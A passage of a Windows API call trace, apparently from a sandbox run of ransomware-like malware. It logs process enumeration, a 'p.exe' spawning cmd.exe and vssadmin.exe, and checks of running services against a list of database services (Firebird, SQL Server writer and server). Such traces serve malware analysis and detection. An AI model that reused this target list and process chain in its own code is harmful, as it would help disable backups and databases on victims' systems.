	[0103.318] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eligible-terry-procedures.exe")) returned 1
	[0103.318] lstrlenW (lpString="eligible-terry-procedures.exe") returned 29
	[0103.319] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="telling-copper-couples.exe")) returned 1
	[0103.319] lstrlenW (lpString="telling-copper-couples.exe") returned 26
	[0103.319] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolled midlands.exe")) returned 1
	[0103.320] lstrlenW (lpString="rolled midlands.exe") returned 19
	[0103.320] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pointer.exe")) returned 1
	[0103.321] lstrlenW (lpString="pointer.exe") returned 11
	[0103.321] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gd logos.exe")) returned 1
	[0103.321] lstrlenW (lpString="gd logos.exe") returned 12
	[0103.321] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="algebra validity.exe")) returned 1
	[0103.322] lstrlenW (lpString="algebra validity.exe") returned 20
	[0103.322] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drunk_opinion.exe")) returned 1
	[0103.323] lstrlenW (lpString="drunk_opinion.exe") returned 17
	[0103.323] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0103.323] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0103.323] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 1
	[0103.324] lstrlenW (lpString="p.exe") returned 5
	[0103.324] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0103.325] lstrlenW (lpString="cmd.exe") returned 7
	[0103.325] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0103.326] lstrlenW (lpString="conhost.exe") returned 11
	[0103.326] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0103.326] lstrlenW (lpString="vssadmin.exe") returned 12
	[0103.326] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0103.327] lstrlenW (lpString="VSSVC.exe") returned 9
	[0103.327] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0103.328] lstrlenW (lpString="svchost.exe") returned 11
	[0103.328] Process32NextW (in: hSnapshot=0x184, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0103.328] CloseHandle (hObject=0x184) returned 1
	[0103.328] Sleep (dwMilliseconds=0x1f4) 
	[0103.835] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0b00
	[0103.836] EnumServicesStatusExW (in: hSCManager=0x35d0b00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 0
	[0103.836] GetLastError () returned 0xea
	[0103.836] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x12c6) returned 0x36ba4f0
	[0103.836] EnumServicesStatusExW (in: hSCManager=0x35d0b00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36ba4f0, cbBufSize=0x12c6, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36ba4f0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 1
	[0103.837] CloseServiceHandle (hSCObject=0x35d0b00) returned 1
	[0103.837] lstrlenW (lpString="Appinfo") returned 7
	[0103.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0103.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0103.837] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0103.837] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0103.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0103.837] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0103.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0103.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0103.837] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0103.837] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0103.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0103.837] lstrlenW (lpString="AudioSrv") returned 8
	[0103.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0103.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0103.837] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0103.837] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0103.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0103.837] lstrlenW (lpString="BFE") returned 3
	[0103.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0103.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0103.837] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0103.838] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0103.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0103.838] lstrlenW (lpString="CryptSvc") returned 8
	[0103.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0103.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0103.838] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0103.838] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0103.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0103.838] lstrlenW (lpString="CscService") returned 10
	[0103.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0103.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0103.838] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0103.838] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0103.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0103.838] lstrlenW (lpString="DcomLaunch") returned 10
	[0103.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0103.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0103.838] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0103.838] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0103.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0103.838] lstrlenW (lpString="Dhcp") returned 4
	[0103.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0103.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0103.838] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0103.838] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0103.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0103.838] lstrlenW (lpString="Dnscache") returned 8
	[0103.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0103.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0103.838] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0103.838] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0103.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0103.838] lstrlenW (lpString="DPS") returned 3
	[0103.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0103.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0103.839] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0103.839] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0103.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0103.839] lstrlenW (lpString="eventlog") returned 8
	[0103.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0103.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0103.839] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0103.839] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0103.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0103.839] lstrlenW (lpString="EventSystem") returned 11
	[0103.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0103.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0103.839] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0103.839] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0103.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0103.839] lstrlenW (lpString="gpsvc") returned 5
	[0103.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0103.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0103.839] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0103.839] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0103.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0103.839] lstrlenW (lpString="iphlpsvc") returned 8
	[0103.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0103.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0103.839] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0103.839] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0103.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0103.839] lstrlenW (lpString="LanmanServer") returned 12
	[0103.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0103.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0103.839] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0103.839] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0103.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0103.839] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0103.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0103.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0103.840] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0103.840] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0103.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0103.840] lstrlenW (lpString="lmhosts") returned 7
	[0103.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0103.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0103.840] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0103.840] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0103.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0103.840] lstrlenW (lpString="MMCSS") returned 5
	[0103.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0103.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0103.840] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0103.840] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0103.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0103.840] lstrlenW (lpString="MpsSvc") returned 6
	[0103.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0103.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0103.840] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0103.840] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0103.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0103.840] lstrlenW (lpString="Netman") returned 6
	[0103.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0103.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0103.840] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0103.840] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0103.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0103.840] lstrlenW (lpString="netprofm") returned 8
	[0103.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0103.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0103.840] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0103.840] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0103.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0103.841] lstrlenW (lpString="NlaSvc") returned 6
	[0103.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0103.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0103.841] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0103.841] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0103.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0103.841] lstrlenW (lpString="nsi") returned 3
	[0103.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0103.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0103.841] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0103.841] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0103.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0103.841] lstrlenW (lpString="PcaSvc") returned 6
	[0103.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0103.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0103.841] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0103.841] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0103.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0103.841] lstrlenW (lpString="PlugPlay") returned 8
	[0103.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0103.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0103.841] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0103.841] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0103.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0103.841] lstrlenW (lpString="Power") returned 5
	[0103.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0103.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0103.841] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0103.841] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0103.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0103.841] lstrlenW (lpString="ProfSvc") returned 7
	[0103.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0103.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0103.842] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0103.842] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0103.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0103.842] lstrlenW (lpString="RpcEptMapper") returned 12
	[0103.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0103.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0103.842] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0103.842] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0103.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0103.842] lstrlenW (lpString="RpcSs") returned 5
	[0103.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0103.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0103.842] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0103.842] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0103.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0103.842] lstrlenW (lpString="SamSs") returned 5
	[0103.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0103.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0103.842] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0103.842] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0103.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0103.842] lstrlenW (lpString="Schedule") returned 8
	[0103.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0103.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0103.842] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0103.842] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0103.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0103.842] lstrlenW (lpString="SENS") returned 4
	[0103.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0103.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0103.843] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0103.843] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0103.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0103.843] lstrlenW (lpString="ShellHWDetection") returned 16
	[0103.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0103.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0103.843] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0103.843] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0103.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0103.843] lstrlenW (lpString="Spooler") returned 7
	[0103.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0103.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0103.843] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0103.843] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0103.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0103.843] lstrlenW (lpString="swprv") returned 5
	[0103.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1
	[0103.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1
	[0103.845] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1
	[0103.845] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1
	[0103.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1
	[0103.845] lstrlenW (lpString="SysMain") returned 7
	[0103.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0103.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0103.845] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0103.845] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0103.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0103.845] lstrlenW (lpString="Themes") returned 6
	[0103.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0103.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0103.845] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0103.845] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0103.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0103.845] lstrlenW (lpString="TrkWks") returned 6
	[0103.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0103.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0103.846] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0103.846] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0103.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0103.846] lstrlenW (lpString="UxSms") returned 5
	[0103.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0103.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0103.846] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0103.846] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0103.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0103.846] lstrlenW (lpString="VSS") returned 3
	[0103.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0103.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0103.846] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0103.846] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0103.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0103.846] lstrlenW (lpString="WdiServiceHost") returned 14
	[0103.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0103.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0103.846] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0103.846] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0103.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0103.846] lstrlenW (lpString="WdiSystemHost") returned 13
